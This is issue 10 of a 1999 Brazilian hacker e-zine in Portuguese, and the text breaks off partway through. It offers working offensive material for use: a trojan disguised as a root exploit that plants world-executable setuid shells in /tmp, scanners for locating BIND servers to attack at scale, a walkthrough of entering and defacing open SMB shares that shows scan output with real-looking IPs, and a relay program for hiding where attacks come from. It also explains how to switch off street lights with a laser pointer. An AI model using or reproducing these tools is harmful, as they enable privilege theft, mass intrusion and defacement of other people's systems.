ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/Death Knights/death10
         _____________            ________            ___________
         ___  __/__  /______      ___  __ \__________ __  /___  /_
         __  /  __  __ \  _ \     __  / / /  _ \  __ `/  __/_  __ \
         _  /   _  / / /  __/     _  /_/ //  __/ /_/ // /_ _  / / /
         /_/    /_/ /_/\___/      /_____/ \___/\__,_/ \__/ /_/ /_/

             ______ __      _____        ______ _____
             ___  //_/_________(_)______ ___  /___  /________
             __  ,<  __  __ \_  /__  __ `/_  __ \  __/_  ___/
             _  /| | _  / / /  / _  /_/ /_  / / / /_ _(__  )
             /_/ |_| /_/ /_//_/  _\__, / /_/ /_/\__/ /____/
                                 /____/

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

                        Data estelar:  1.0876448411
                        Data terrestre:  04/12/1999

DeathKnights #10a

e-mail: death@DeathKnights.com

page: http://www.DeathKnights.com

     melhor visualizado com joe -asis e terminal com setfont alt-8x16. (linux)
                           melhor visualizado com edit.                (dos)

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

.-----------.
|   SECOES   \_______________________________________________________________
`----------------------------------------------------------------------------'

[1]==[ Esclarecimentos & algo mais...               ] [ Cacaio         ]==[1]
[2]==[ Como desligar a luz de postes                ] [ Troy_Psx       ]==[2]
[3]==[ Antonistenio Atlefanoco Queribotrex          ] [ encripty       ]==[3]
[4]==[ Seek and Destroy                             ] [ Cheat Struck   ]==[4]
[5]==[ Y2K                                          ] [ Cacaio         ]==[5]
[6]==[ Entendendo Samba                             ] [ suggarface     ]==[6]
[7]==[ Bouncer                                      ] [ Cheat Struck   ]==[7]
[8]==[ Satelites                                    ] [ Troy_Psx       ]==[8]
[9]==[ Explosivo                                    ] [ Cacaio         ]==[9]
[10]=[ Clean Logz                                   ] [ ReNeGaDe       ]=[10]
[11]=[ Transformando decimais em hexa               ] [ encripty       ]=[11]
[12]=[ Explicando um bocadinho sobre telefonia...   ] [ darksystem     ]=[12]
[13]=[ Niveis: Beta, Alfa, Teta e Delta             ] [ Cacaio         ]=[13]
[14]=[ Apagando Lastlogs                            ] [ Cheat Struck   ]=[14]
[15]=[ Login Kiddies                                ] [ Cheat Struck   ]=[15]
[16]=[ Ultimas Palavras                             ] [ Cacaio         ]=[16]

Sites recomendados: http://www.hackernews.com e http://www.hackernews.com.br
Canal de IRC recomendados: #fashion_eh_meu_ovo
                                (BrasNet)
Empresa que deixa computadores de seus clientes vulneraveis e ainda por
cima e' escolhida pelo Governo Brasileiro para cuidar de suas maquinas
e para cuidar da seguranca das eleicoes: Modulo Security Solutions

-=[  1  ]=-
.------------------------------------.
| = Esclarecimentos & algo mais ... = \______________________________________
`----------------------------------------------------------------------------'

        Enfim, chegamos a edicao numero 10. Ate' agora temos o total de 11
edicoes (da 00 a 10). Sao 3 anos de zine, e ainda pretendemos manter esta
zine por mais varios anos. Nao conheco nenhuma outra zine que tenha se mantido
por tanto tempo, mas gostaria de conhecer. Por que voce, leitor, nao cria sua
propria zine? No Brasil, nao conheco nenhuma zine *ativa* alem desta. Caso
voce tenha uma, nos envie um e-mail dizendo qual e' sua zine, e onde obter.
Caso voce esteja interessado em escrever uma zine, nos faremos o web hosting
gratuitamente para voce.

        Uma coisa que tenho notado e' a cada dia aumenta o numero de pessoas
com bons conhecimentos na area "underground", assim diremos, da Internet.
Muitas destas pessoas estao sozinhas, ou em grupos que nao conhecem outras
pessoas. Na minha humilde opniao, estas pessoas devem se unir, trocar
conhecimentos, e cada vez aprender mais. Se tornarem sempre melhores.

        Muita gente tem me perguntado por que a nossa pagina principal e' em
ingles, e nao em portugues. A resposta e' triste, mas e' a realidade: apenas
18,6% dos acessos ao nosso site vem do Brasil ou de Portugal.

        Nao nos responsabilizamos pela informacao contida neste zine. Se voce
usar indevidamente qualquer informacao contida aqui, a responsabilidade e' to-
da sua. Se for pego, preso ou sei la o que, nao nos perturbe e blablabla.

        Sentimos muito pela demora para lancar este zine. Na verdade nao
sentimos muito coisa nenhuma. A zine nao saiu antes por que os escritores
desta edicao tem problemas como todas as outras pessoas, tem obrigacoes e
deveres e por isso nao foi lancada antes.

        Ah!!!! Se voce tiver uma materia qualquer e quiser publica-la aqui,
basta envia-la em modo TEXTO ASCII por e-mail para death@deathknights.com.
Vamos ler a materia, avaliar e talvez ela seja publicada. Mande qalquer coisa,
menos badcoms, trojans, hackear via ftp ou afins.

        ATENCAO: se voce quer se tornar um membro, nos mande um e-mail. Lhe
sera' enviado um arquivo que voce deve responder, e dependedo dele, voce
recebera' outro, ate' ser aprovado (ou nao).

        Se voce nao gostou da informacao contida aqui, nao nos perturbe. O
problema e' todo seu.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  2  ]=-
.----------------------------------.
| = Como desligar a luz de postes = \________________________________________
`----------------------------------------------------------------------------'
                                por Troy_Psx

O esquema eh bem simples mais so' foi testado em Sao Paulo onde quem e' dono
e' a Bandeirantes.

Nao sou bom em Ascii por isso ficou uma merda.

Materiais:

.oO Caneta de laser (aquelas que usam pra dar aula, ou usam para dar palestras)
.oO Inteligencia
.oO Uma bela mira

Introducao:

Como eh o poste com a luz:

ferro----== luz
     !
     !
     !poste
     !

No poste tem varias caixas. Umas sao terminadores do fio eletrico mesmo,
entre as caixas voce achara' uma caixinha com um olho preto no meio.

=====
= 0 =
=====

E' nessa caixa que vamos fazer o esquema.

Em algumas ruas tem uma caixinha dessa em cada poste, mais em outras tem
um poste que e' o central (tudo depende desse poste).

----==_____________----==_____________----==
!cc                !                  !
!                  !                  !
!                  !                  !
!                  !                  !  cc= com caixinha

Se voce fizer o esquema nessa caixinha do poste central os outros tambem
apagarao.

O esquema:

Pegue a caneta a laser, mire no olho da caixinha(o 0 do ascii) por alguns
segundos e o poste se apagara, nao se anime muito porque o poste se acende
automaticamente depois de mais ou menos 2 minutos.

Porque isso acontece?

Essa caixinha nao e' nada mais do que um sistema que analisa a claridade do
local. Se esta escuro ela acende o poste, se tiver com luz (sol) ele apaga.
Voce mirando o laser na caixinha ele entende como se tivesse uma luz no local
(luz do sol) e apaga o poste.

Muito complicado neh? eu tb achei =)

     Troy_Psx               troy_psx@brasnet.org
     `'`'`'`'               `'`'`'`'`'`'`'`'`'`'

-=[  3  ]=-
.----------------------------------------.
| = Antonistenio Atlefanoco Queribotrex = \__________________________________
`----------------------------------------------------------------------------'
                                por encripty

NOTA: Alguns podem ler e rir do que eu vou escrever abaixo. Outros poderao
achar a informação util e usar em diversas ocasioes.

Bem, trata-se de um programa de minha autoria.
Bastante basico e principalmente util para pegar shell de users, ou ate mesmo
pegar algum root tapado.

Vamos logo ao programa, comentado:

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/* Fake Exploit Writen by EnCrIpTy 1999 - encripty@starmedia.com
 * The Death Knights
 * enjoy it but leave behind my credit*/

#include <stdio.h>
void main(int argc, char *argv[]){
printf("\n\rThe Death Knights! Exploit to get root");
/* Mensagem falsa */
strcpy(argv[0],"-bash");
/* Isso aqui muda o nome que aparece no PS. (mais um dica [valeu struck])
   isso nao eh necessario neste programa. Enfeite =P.*/
system("cp /bin/bash /tmp/.sh`whoami`");
/*Transfere o interpretador de comandos para o /tmp/.shuser */
/*Ou seja, se o usuario que executou foi o root... no /tmp tera:
/tmp/.shroot */
system("chmod 4777 /tmp/.sh`whoami`");
/* Deixa o interpretador acessivel a qualquer usuario */
printf("\n\rSorry, this machine is not vulnerable. Try another!\n\r");
/* outra enganacao */
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Bem, agora e so deixar este programinha no /tmp com um nome bem atraente.
Dai voce consegue shell pra caramba, quem sabe ate' a do root.
Outra coisa... voce pode incrementar mais um sisteminha...
Coloca no teu .profile isso aqui:

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#isso abaixo fica no seu /home/vc/.profile | ~/.profile (mesma coisa, duh)
ls -al /tmp |grep .sh
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Isso vai mostrar as shells que voce conseguiu todas as vezes que voce logar,
automaticamente, logico.

dica: Quando voce pegar uma shell... apague-a do /tmp e deixe-a no seu home(~).
Por que? Ora, qualquer espertinho que der um ls /tmp pode perceber que ha
doces ali. E como voce ja sabe, o interpretador estara' disponivel a todos.

Acho que e' soh isso, te a proxima.

     encripty               encripty@starmedia.com
     `'`'`'`'               `'`'`'`'`'`'`'`'`'`'`'

-=[  4  ]=-
.-------------------------.
| =   Seek and Destroy   = \_________________________________________________
`----------------------------------------------------------------------------'
                               por Cheat Struck

  Searching.... Seek and Destroy!!!
  H0h0! Metallica rlz!

  Vamos falar serio agora. Como muitos ja devem ter visto, todos os
servidores de named sao vulneraveis a atakes remotos. Ja foram lancados
diversos exploits, e outros privates ja foram criados para as versoes mais
novas do BIND.
  Entao esta com certeza eh uma boa area de se explorar.
  Os exploits voce consegue arranjar na securityfocus ou qquer outro site
do genero. O que vou mostrar aki sao 2 programas de minha autoria, que
fazem o scaneamento de namedhosts e da versao do bind desses.
  O BHS (Bind Hosts Scanner) scaneia 255 hosts a partir de um e separa
somente os que rodam named. C voce acha que 255 eh muita coisa e vai fika
pendurado por muito tempo, mude no source, que eu nao vou alterar
novamente o programa por uma besteira dessas.
  O resultado do scan ficaram gravado em forma de lista de ips no arquivo
"./hosts" (default HOSTS_FILE).
  Apos ter feito sua listinha de ips, compile o BS(Bind Scanner) e rode.
Este programa abre o arquivo "./hosts" (default HFILE), pega ip por ip e
vai scaneando a versao dos binds.
  Para que este programa rode direito voce tem que ter o pakote bind-utils
instalado. Verifique vendo c existe o "/usr/bin/dig".
  O resultado deste segundo scan estara salvo no arquivo "./binds"
(default BFILE) com o ip seguido da versao.
  Vamos aos progs...

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/* Binds Hosts Scanner v1.1 by Cheat Struck
 * The Death Knights - 1999
 *
 *  Este programa acompanha o Bind Scanner e sera usado para
 * scannear ips com a porta 53 (domain)  aberta e coloca-los
 * no arquivo HOSTS_FILE.
 *
 *  Modo de uso:
 *     gcc bhs.c -o bhs
 *     ./bhs <X.X.X>    #Exemplo: ./bhs 200.24.131
 *
 */

#define HOSTS_FILE "hosts"    /* Os ips scaneados estarao aki */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

main( int argc, char *argv[] ) {

 int s0ck, i=0;
 struct sockaddr_in addr;
 char ip[16];
 char *duh;
 FILE *fp;

 printf(" -=-= Binds hosts scanner by Cheat Struck =-=-\n");
 printf(" -=-= The Death Knights       -      1999 =-=-\n");
 if( argc < 2 ) {
   printf("Use: %s <X.X.X>\n",argv[0]);
   exit(1);
 }
 printf(" Result in filename : %s \n",HOSTS_FILE);

 duh =  argv[1];
 if((fp = fopen(HOSTS_FILE, "a+")) != NULL ) {

  while (i < 255) {

     i++;
     sprintf(ip, "%s.%d\n", duh,i);

     s0ck = socket(AF_INET, SOCK_STREAM, 0);
     addr.sin_family = AF_INET;
     addr.sin_port = htons(53);
     addr.sin_addr.s_addr = inet_addr(ip);
     bzero(&(addr.sin_zero), 8);

     if( connect( s0ck, (struct sockaddr *)&addr, sizeof(addr) ) >= 0) {
       fprintf(fp, "%s",ip);
       printf("%s",ip);
     }
     close(s0ck);

  }
  fclose(fp);
 }

 else {

  printf(" Sory! I can't open this file! =(\n");

 }
}
/*EOF*/
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/* Bind Scanner v1.1 by Cheat Struck
 * The Death Knights - 1999
 *
 *  O proposito deste programa eh pegar a versao dos binds de hosts
 * listados no arquivo HFILE e colocar o resultdo em BFILE.
 *  Junto a este programa vai  o  Bind Hosts Scanner  que voce usa
 * para criar o HFILE.
 *
 *  Modo de uso:
 *       gcc bs.c -o bs
 *       ./bs
 */

#define HFILE "hosts"
#define BFILE "binds"

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>

main() {

 FILE *fp;
 char ip[16], com[80];
 int i=0;

 printf("-=-= Bind Scanner by Cheat Struck =-=-\n");
 printf("-=-= The Death Knights   -   1999 =-=-\n");
 printf("%s  =  Lista de IPs a serem scaneados\n",HFILE);
 printf("%s  =  Resultado\n",BFILE);

 fp = fopen(HFILE,"r");

 while( !feof(fp) ) {

  bzero((char *)&ip, sizeof(ip));
  if(fgets(ip, 16, fp) == NULL) break;
  ip[strlen(ip)-1] = ' ';
  sprintf(com,"echo %s >> %s",ip,BFILE);
  system(com);
  sprintf(com,"dig @%s version.bind chaos txt |grep VERSION.BIND >> %s",ip, BFILE);
  system(com);
  printf("%d\n",i++);

 }

 fclose(fp);

}
/*EOF*/
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

  Issu ae. Uma vez com a versao do bind, voce ja sabe qual exploit usar.
Issu pode ser muito util para fazer ataques de grande escala, para obter
varios r00ts numa unica noite.
  l8er!

     Cheat Struck               cheat@struck.8m.com
     `'`'` `'`'`'               `'`'`'`'`'`'`'`'`'`

-=[  5  ]=-
.----------------------.
|     =    Y2K    =     \____________________________________________________
`----------------------------------------------------------------------------'
                                 por Cacaio

        O termo Y2K se refere ao bug do ano 2000, o qual pode diretamente
afetar sua vida. Resumidamente, o problema ‚ o seguinte: softwares e
firmwares (softwares de chips, placas) foram programados para reconhecer as
datas em um formato de seis d¡gitos (por exemplo, 21/10/99.) Durante os
£ltimos trinta anos, isso nÆo foi problema algum. Mas, quando 1o de Janeiro
do ano 2000 chegar, ser  interpretado como 1o de Janeiro de 1900 (01/01/00.)
Isto ir  causar m  funcionamento em v rias maquinas afetadas.

Muitas pessoas nÆo dÆo a m¡nima. Dizem que o que vai acontecer ‚ apenas o
"resetamento" da data de seus computadores em 01/01/2000, e ser  s¢ isso.
Isso pode ser verdade para a maioria de usu rios de PC. Mas os PCs sÆo os
computadores mais novos, mais recentemente fabricados, e os menos
importantes quanto ao Y2K. Muitas empresas grandes e importantes tem
hardware antigo, incluindo mainframes. Se uma dessas maquinas tiver um
problema, milhares de pessoas serÆo afetadas.

Este tipo de bug nÆo ‚ uma novidade. Alguns mainframes antigos da IBM
tinham um bug similar:
o IBM 360 nÆo podia lidar com datas a partir do dia 31 de Dezembro de 1969.
O bug afetou todos os continentes, menos o Americano e o Asi tico, pois a
IBM assim que detectou o bug disse a seus clientes para voltar a data um dia
at‚ que a solu‡Æo fosse encontrada. Muito dinheiro foi perdido por causa deste
bug.
A solu‡Æo encontrada pela IBM nÆo poderia ser usada nos dias de hoje. Muitas
fun‡äes dos computadores modernos usam a data e o hor rio para calcular
valores a serem usados. (Exemplo: fun‡äes randomicas do Adobe Photoshop e
TODOS os softwares de finan‡as)

O Y2K ser  solucionado em alguns casos, mas em outros nÆo. No Brasil, por
exemplo, v rias coisas serÆo afetadas pelo Y2K, como:

 . Alarmes e sistemas de seguran‡a
 . Placas de telefones modernos com secret ria eletr“nica digital
 . Cofres eletr“nicos
 . Equipamento m‚dico
 . Sistemas de controle de tr fego a‚reo (at‚ 21/10/1999 o sistema usado pela
   INFRAERO no Aeroporto Internacional de Bras¡lia era vulner vel)
 . Sistemas de aquecimento e refrigera‡Æo

Estes sÆo alguns dos casos mais s‚rios, mas mesmo assim, nÆo ‚ muita gente
que se importa quanto ao Y2K. As cias. que fabricam este tipo de
equipamento normalmente nÆo fabricam os chips.

Em alguns pa¡ses de primeiro mundo, como os Estados Unidos, para o dia 31
de Dezembro de 1999, j  existe a recomenda‡Æo de que seus habitantes nÆo
usem elevadores de qualquer tipo.
(A maioria dos elevadores destes pa¡ses trabalha por agendamento; s¢ param
em alguns andares em dias de semana, ou s¢ em algumas horas, para pr‚dios
que contem cofres, por exemplo. Imagine ficar preso em um elevador por dois
dias.)
Nestes pa¡ses tamb‚m existe a recomenda‡Æo de que se estoque  gua,
alimentos e agasalhos, e tamb‚m que paguem pelo menos trˆs meses de suas
contas adiantadamente, por medo de poss¡veis falhas que possam ocorrer a
bancos e assim o cidadÆo fique impossibilitado de fazer uso de seu dinheiro
por algum tempo.

        Na Internet brasileira, os usu rios de computadores pessoais nÆo terÆo
dano algum quanto a hardware ou a software de acesso a Internet. J  os
provedores poderÆo encontrar problemas em seus roteadores, pois 20 dos
roteadores que ainda estÆo a venda no mercado sÆo vulner veis. Os
provedores e grandes empresas que contrataram programadores que nÆo eram
de confian‡a, poderÆo ter problemas em um futuro nÆo tÆo pr¢ximo. V rios
hackers brasileiros enquanto arrumavam o problema do Y2K instalaram
backdoors nas m quinas. Para descobrir se o programador que arrumou o
problema do Y2K em seus sistemas ‚ um hacker, basta comparar o pre‡o
cobrado por ele com o pre‡o de outros programadores. Normalmente, os
hackers no Brasil estÆo cobrando mais barato.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  6  ]=-
.-------------------------------.
|    =   Entendendo Samba   =    \___________________________________________
`----------------------------------------------------------------------------'
                                 por suggarface

[*]--- Checking host: 157.92.130.100
[*]--- Checking host: 157.92.130.103
[*]--- Checking host: 157.92.130.102

16006: Connected to share \\S3\ADMIN$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\C$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\D$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\InetPub as user `ADMINISTRATOR' pass `'
Connected to share \\S3\mspclnt as user `ADMINISTRATOR' pass `'
Connected to share \\S3\REPL$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\wwwroot as user `ADMINISTRATOR' pass `'

        Ae..voce ja deve ter visto isso ou algo parecido depois de scannear
um host por ai nao? Caso nao tenha visto se vc entender o que vou falar
nessa materia vai comecar a ver muito. ;)

	# Man samba
	# Samba - A Windows SMB/CIFS fileserver for UNIX

	O conjunto Samba baseia-se no protocolo de transferencia de
arquivos usado no windows(NT/3.x/95/98) SMB(Session Message Block) tambem
conhecido como Netbios. O que voce pode fazer usando esse protocolo?

	- Compartilhar arkivos Linux c/ makinas Windows
	- Compartilhar arkivos Windows c/ makinas Linux
	- Compartilhar impressoras Linux c/ makinas windows e vice-versa.

        Eu nao vou ensinar como montar uma rede samba, se voce quiser montar
de uma olhada no Howto. Eu vou apenas ensinar como acessar volumes
compartilhados tanto em maquinas Linux como em maquinas Windows usando o
Linux. Se voce so' tem windows instalado, tome vergonha e instale um
Sistema Operacional descente.

        O que e' necessario pra poder acessar esses volumes?

        Voce deve ter instalado o pacote samba p/ poder usar e configurar os
arquivos p/ acesso remoto(claro). Verifique as informacoes sobre a sua
maquina, se voce colocar um host do tipo "suggar.face.org" coloke um ip
apontando pra ele do tipo nao roteavel ex.:192.168.x.x ou nao mexa nas
configuracoes da sua makina deixando apenas a interface de loopback(lo),
isso eh necessario por que sera usado uma interface pra poder acessar outras
maquinas se estiver mal configurado ele da um erro na execucao.

NAO e' necessario rodar os daemons Smbd e Nmbd(de o comando ntsysv e tire
o smb da inicializacao ou digite "samba stop" ), habilite a porta 139 no
/etc/services descomentando as linhas:
	netbios-ssn     139/tcp                   # NETBIOS session service
	netbios-ssn     139/udp

Agora va no diretorio /etc, deve haver um arquivo "smb.conf.example" ou
default por la. Esse arquivo contem as configuracoes da rede samba,
renomeie ele p/ "smb.conf" e digite "testparm" no prompt.
	Pronto, seu computador esta configurado pra acessar qq volume
compartilhado na rede. voce pode testar digitando a linha:

	# smbclient -L <host/ip da makina remota>

Ele ira exibir informacoes sobre os compartilhamentos nakela maquina,
workgroup, etc. Agora vou pegar akele exemplo la de cima e mostrar como
acessa-lo, acho que nao ha maneira mais facil de entrar numa maquina do que
essa sem explorar bugs, usando exploits ou coisa parecida. Na maioria dos
provedores brasileiros eles usam samba, colocando backups de homepages,
senhas, logs e etc nas maquinas Windows(fazem a maior seguranca no linux
usando varias ferramentas e colocam um windows no meio pra ferrah tudo
=/ ). Nao tomam medidas de seguranca como setar um password p/ o
compartilhamento ou restringir acesso somente a determinados Ip's. NAO ha
necessidade da maquina ke voce ker acessar estar numa rede samba, pode ser um
windows isolado ou mesmo um linux bastando somente ela estar ligada e
compartilhada(duh). Exemplo:

[*]--- Checking host: 157.92.130.100
[*]--- Checking host: 157.92.130.103
[*]--- Checking host: 157.92.130.102

16006: Connected to share \\S3\ADMIN$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\C$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\D$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\InetPub as user `ADMINISTRATOR' pass `'
Connected to share \\S3\mspclnt as user `ADMINISTRATOR' pass `'
Connected to share \\S3\REPL$ as user `ADMINISTRATOR' pass `'
Connected to share \\S3\wwwroot as user `ADMINISTRATOR' pass `'

Sintaxe: # smbclient \\\\nome_da_maquina\\compartilhamento <opcoes>

No caso:
     # smbclient \\\\S3\\InetPub -U "ADMINISTRATOR" -I 157.92.130.x
     Added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0
     Password:
     smb:\> ls

Pronto, voce ja esta dentro da maquina. Qdo aparecer o prompt "Password: "
eh soh apertar ENTER(pois na ha senha). Digite "?" e voce tera uma lista de
comandos(basicamente iguais a de um ftp). Como nao ha senha a linha de
comando tbm poderia ser:
	# smbclient \\\\S3\\InetPub -N -I <ip/host>

Caso voce tenha "write access" pode usar o comando "put":
	smb:\> cd wwwroot
	smb:\> put /root/boo.htm default.htm
	smb:\> e
	[root@suggar]# =)

Caso tenha uma impressora compartilhada na maquina voce pode imprimir uma
pagina pro admin usando os comandos "smbprint" ou "print" na linha de
comando smb:\> ;)
	Isso nao eh um bug eh apenas uma falha de seguranca que eh
encontrada em VARIOS provedores brasileiros . Normalmente em windows NT,
passe o sscan em horarios comerciais qdo as maquinas estao ativas ou brinke
c/ isso na madrugada acessando maquinas da australia japao sei la ;). No
sscan ele usa o NAT(Netbios Auditing Tools) pra encontrar essas falhas, vc
pode editar os arquivos "passlist.txt" e " userlist.txt"  la estao uma
lista senhas e usuarios ke ele testa a cada conexao. Quando nao tiver
usuario(ja nao tem senha ja vi varios ke nem usuario tem definido) voce pode
usar a opcao -U " " e qdo o compartilhamento conter espacos voce tbm pode
usar asaspas # smbclient \\\\server\\"drive C".

	Uma solucao pra isso eh setar passwords "descentes" p/ os
compartilhamentos dos windows e editar o arquivo smb.conf em /etc colocando
UMA linha:

	hosts allow = 192.168.1. 192.168.2. 127.

Dessa maneira se restringe o acesso a somente esses dominios e a maquina
local. Dificil nao? =)

	Have fun..[]'s

     suggarface               suggarface@brasnet.org
     `'`'`'`'`'               `'`'`'`'`'`'`'`'`'`'`'

-=[  7  ]=-
.------------.
| = Bouncer = \______________________________________________________________
`----------------------------------------------------------------------------'
                               por Cheat Struck

   Bouncer e' um programa que redireciona as informacoes enviadas de um host
para outro. Ou seja:
Voce possui uma shell, ae quer conectar-se a um certo host com propositos
malignos (hehehe). O q alguem com cerebro (duh!) faria eh conectar-se a uma
shell e de lah conectaria ao host vitima.

   E' exatamente issu que o bouncer faz. Voce roda ele numa shell
especificando uma senha e uma porta, na qual voce vai conectar. Detalhe,
rode-o com nohup para que ele continue la' mesmo depois de voce ter saido.

   Agora conecte-se a porta que especificou e use sua senha... entao...
voalah!!! A conexao sera redirecionada para o host que desejar.

   O programa que vem junto com esta materia eh muito facil de se usar. Rode-o
na shell e entao conectesse a porta 31337 (default do prog). Ao conectar-se
aperte enter. Agora digite a password "pword" (sem aspas)(default) e pah!

Digite o host e depois a porta e pronto. Voce esta conectado.

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#define    MY_PASSWORD    "pword"
#define    SERV_TCP_PORT  31337
/*"-= To enter. Telnet to address and port #. Hit 1x [ENTER] and then"*/
/*"the password. Then Host and port 23 for normal telnet connect. =-"*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#define    QLEN           5

char sbuf[2048], cbuf[2048];
extern int errno;
extern char *sys_errlist[];
void reaper();
int main();
void telcli();

int main(argc, argv)
int argc;
char *argv[];
{
    int srv_fd, rem_fd, rem_len, opt = 1;
    struct sockaddr_in rem_addr, srv_addr;

    bzero((char *) &rem_addr, sizeof(rem_addr));
    bzero((char *) &srv_addr, sizeof(srv_addr));
    srv_addr.sin_family = AF_INET;
    srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    srv_addr.sin_port = htons(SERV_TCP_PORT);
    srv_fd = socket(PF_INET, SOCK_STREAM, 0);
    if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) {
        perror("bind");
        exit(-1);
    }
    listen(srv_fd, QLEN);
    close(0); close(1); close(2);
#ifdef TIOCNOTTY
    if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) {
        ioctl(rem_fd, TIOCNOTTY, (char *)0);
        close(rem_fd);
    }
#endif
    if (fork()) exit(0);
    while (1) {
    rem_len = sizeof(rem_addr);
        rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_len);
        if (rem_fd < 0) {
            if (errno == EINTR) continue;
            exit(-1);
        }
        switch(fork()) {
        case 0:                             /* child process */
            close(srv_fd);                  /* close original socket */
            telcli(rem_fd);                 /* process the request */
            close(rem_fd);
            exit(0);
            break;
        default:
            close(rem_fd);                  /* parent process */
            if (fork()) exit(0);            /* let init worry about children */
            break;
        case -1:
            fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]);
            break;
        }
    }
}

void telcli(source)
int source;
{
    int dest;
    int found;
    struct sockaddr_in sa;
    struct hostent *hp;
    struct servent *sp;
    char gethost[100];
    char getport[100];
    char string[100];

    bzero(gethost, 100);
    read(source, gethost, 100);
    sprintf(string, "");
    write(source, string, strlen(string));
    read(source, gethost, 100);
    gethost[(strlen(gethost)-2)] = '\0'; /* kludge alert - kill the \r\n */
    if (strcmp(gethost, MY_PASSWORD) != 0) {
        close(source);
        exit(0);
    }
    do {
		found = 0;
		bzero(gethost,100);
        sprintf(string, "telnet bouncer ready.\n");
        write(source, string, strlen(string));
        sprintf(string, "Host: ");
        write(source, string, strlen(string));
        read(source, gethost, 100);
        gethost[(strlen(gethost)-2)] = '\0';
        hp = gethostbyname(gethost);
        if (hp) {
            found++;
#if !defined(h_addr)        /* In 4.3, this is a #define */
#if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(POSIX)
            memcpy((caddr_t)&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
#else
            bcopy(hp->h_addr_list[0], &sa.sin_addr, hp->h_length);
#endif
#else /* defined(h_addr) */
#if defined(hpux) || defined(NeXT) || defined(ultrix) || defined(POSIX)
            memcpy((caddr_t)&sa.sin_addr, hp->h_addr, hp->h_length);
#else
            bcopy(hp->h_addr, &sa.sin_addr, hp->h_length);
#endif
#endif /* defined(h_addr) */
            sprintf(string, "Found address for %s\n", hp->h_name);
            write(source, string, strlen(string));
        } else {
            if (inet_addr(gethost) == -1) {
                found = 0;
                sprintf(string, "Didnt find address for %s\n", gethost);
                write(source, string, strlen(string));
            } else {
                found++;
                sa.sin_addr.s_addr = inet_addr(gethost);
            }
        }
    } while (!found);
    sa.sin_family = AF_INET;
    sprintf(string, "Port: ");
    write(source, string, strlen(string));
    read(source, getport, 100);
    gethost[(strlen(getport)-2)] = '\0';
    sa.sin_port = htons((unsigned) atoi(getport));
    if (sa.sin_port == 0) {
        sp = getservbyname(getport, "tcp");
        if (sp)
            sa.sin_port = sp->s_port;
        else {
            sprintf(string, "%s: bad port number\n", getport);
            write(source, string, strlen(string));
            return;
        }
    }
    sprintf(string, "Trying %s...\n", (char *) inet_ntoa(sa.sin_addr));
    write(source, string, strlen(string));
    if ((dest = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("telcli: socket");
        exit(1);
    }
    connect(dest, (struct sockaddr *) &sa, sizeof(sa));
    sprintf(string, "Connected to %s port %d...\n", inet_ntoa(sa.sin_addr),
                                                          ntohs(sa.sin_port));
    write(source, string, strlen(string));
#ifdef FNDELAY
    fcntl(source,F_SETFL,fcntl(source,F_GETFL,0)|FNDELAY);
    fcntl(dest,F_SETFL,fcntl(dest,F_GETFL,0)|FNDELAY);
#else
    fcntl(source,F_SETFL,O_NDELAY);
    fcntl(dest,F_SETFL,O_NDELAY);
#endif
    communicate(dest,source);
    close(dest);
    exit(0);
}

communicate(sfd,cfd)    {
    char *chead, *ctail, *shead, *stail;
    int num, nfd, spos, cpos;
    extern int errno;
    fd_set rd, wr;

    chead = ctail = cbuf;
    cpos = 0;
    shead = stail = sbuf;
    spos = 0;
    while (1) {
        FD_ZERO(&rd);
        FD_ZERO(&wr);
        if (spos < sizeof(sbuf)-1) FD_SET(sfd, &rd);
        if (ctail > chead) FD_SET(sfd, &wr);
        if (cpos < sizeof(cbuf)-1) FD_SET(cfd, &rd);
        if (stail > shead) FD_SET(cfd, &wr);
        nfd = select(256, &rd, &wr, 0, 0);
        if (nfd <= 0) continue;
        if (FD_ISSET(sfd, &rd)) {
            num=read(sfd,stail,sizeof(sbuf)-spos);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
